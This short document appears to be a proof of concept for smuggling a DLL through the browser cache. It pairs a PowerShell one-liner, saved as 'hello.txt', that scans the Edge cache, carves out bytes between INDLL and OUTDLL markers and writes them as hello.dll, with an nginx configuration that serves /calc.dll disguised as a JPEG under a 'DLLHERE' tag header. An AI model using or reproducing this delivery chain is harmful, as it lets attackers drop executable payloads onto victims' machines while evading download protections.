hello.txt

$d="$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Cache\Cache_Data"; gci $d -File | % { $f=$_.FullName; try { $b=[IO.File]::ReadAllBytes($f); $s=[Text.Encoding]::Default.GetString($b); if ($s -match '(?s)(?<=INDLL)(.*?)(?=OUTDLL)') { [IO.File]::WriteAllBytes("$d\hello.dll", [Text.Encoding]::Default.GetBytes($matches[1])) } } catch { } }

user www-data;
worker_processes auto;
worker_cpu_affinity auto;
pid /run/nginx.pid;
error_log /var/log/nginx/error.log;
include /etc/nginx/modules-enabled/*.conf;

events {
        worker_connections 768;
        # multi_accept on;
}

http {

        ##
        # Basic Settings
        ##

        sendfile on;
        tcp_nopush on;
        types_hash_max_size 2048;
        server_tokens off; # Recommended practice is to turn this off

        # server_names_hash_bucket_size 64;
        # server_name_in_redirect off;

        include /etc/nginx/mime.types;
        default_type application/octet-stream;

        ##
        # SSL Settings
        ##

        ssl_protocols TLSv1.2 TLSv1.3; # Dropping SSLv3 (POODLE), TLS 1.0, 1.1
        ssl_prefer_server_ciphers off; # Don't force server cipher order.

        ##
        # Logging Settings
        ##

        access_log /var/log/nginx/access.log;

        ##
        # Gzip Settings
        ##

        gzip on;

        # gzip_vary on;
        # gzip_proxied any;
        # gzip_comp_level 6;
        # gzip_buffers 16 8k;
        # gzip_http_version 1.1;
        # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

        ##
        # Virtual Host Configs
        ##

        include /etc/nginx/conf.d/*.conf;
        include /etc/nginx/sites-enabled/*;

        # Default server block (moved inside http {})
        server {
          listen 80 default_server;
          listen [::]:80 default_server;
          root /var/www/html;
          index index.html index.nginx-debian.html;
          server_name _;

          # Adding the HTTP header TAG used to find the real DLL

          location /calc.dll {
            # override the mime type
            types { } default_type image/jpeg;
            add_header Tag DLLHERE;
          }

        }
}